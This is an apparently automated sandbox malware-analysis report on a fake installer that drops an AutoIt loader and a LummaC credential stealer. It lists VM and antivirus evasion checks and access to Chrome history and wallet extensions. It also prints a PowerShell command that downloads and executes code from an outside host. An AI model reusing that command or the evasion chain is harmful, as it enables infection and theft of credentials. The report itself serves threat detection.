Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe

API/Special instruction interceptor: Address: 6C2A7C44

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	RDTSC instruction interceptor: First address: 6C2AF3E1 second address: 6C2AF3FD instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-20h], eax 0x00000005 mov dword ptr [ebp-1Ch], edx 0x00000008 lea esi, dword ptr [ebp-38h] 0x0000000b xor eax, eax 0x0000000d xor ecx, ecx 0x0000000f cpuid 0x00000011 mov dword ptr [esi], eax 0x00000013 mov dword ptr [esi+04h], ebx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	RDTSC instruction interceptor: First address: 6C2AF3FD second address: 6C2AF3E1 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-18h], eax 0x00000005 mov dword ptr [ebp-14h], edx 0x00000008 mov eax, dword ptr [ebp-18h] 0x0000000b sub eax, dword ptr [ebp-20h] 0x0000000e mov ecx, dword ptr [ebp-14h] 0x00000011 sbb ecx, dword ptr [ebp-1Ch] 0x00000014 add eax, dword ptr [ebp-10h] 0x00000017 adc ecx, dword ptr [ebp-0Ch] 0x0000001a mov dword ptr [ebp-10h], eax 0x0000001d mov dword ptr [ebp-0Ch], ecx 0x00000020 jmp 00007FAEC108AA65h 0x00000022 mov edx, dword ptr [ebp-04h] 0x00000025 add edx, 01h 0x00000028 mov dword ptr [ebp-04h], edx 0x0000002b cmp dword ptr [ebp-04h], 64h 0x0000002f jnl 00007FAEC108AAF0h 0x00000031 rdtsc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4070			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1442			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-KD1J4.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-N1KCV.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-KD1J4.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-N1KCV.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com TID: 7988	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7188	Thread sleep count: 4070 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8180	Thread sleep count: 1442 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7224	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8176	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4312	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\709182\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\709182	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000002.2586749299.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000003.3092416752.0000000001761000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}f
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: powershell.exe, 00000010.00000002.2287601000.0000000006F95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000002.2586749299.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\yF

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe

Code function: 49_2_005B58BB mov eax, dword ptr fs:[00000030h]

49_2_005B58BB

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe

NtQuerySystemInformation: Direct from: 0x76EF7B2E

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Expected Expected.cmd & Expected.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 709182	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Bet	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "brandon" M	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Effective + ..\Certificates + ..\Stones + ..\Harder + ..\Planners + ..\Suppose N	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com Lightweight.com N	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe "C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;			Jump to behavior

Source: Lightweight.com, 0000000B.00000000.1725562102.00000000006F3000.00000002.00000001.01000000.00000007.sdmp, vsv_tool.exe, 00000031.00000002.3228982215.0000000045C53000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TrayNotifyWndShell_TrayWndU
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SHELL_TRAYWND
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndtooltips_class32SV
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndU
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROGMAN
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SHELL_TRAYWNDU

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\e7d08a4a VolumeInformation

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: find.exe, 00000028.00000002.3022831182.000001DABA04B000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000028.00000002.3022772661.000001DABA014000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: avgui.exe

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
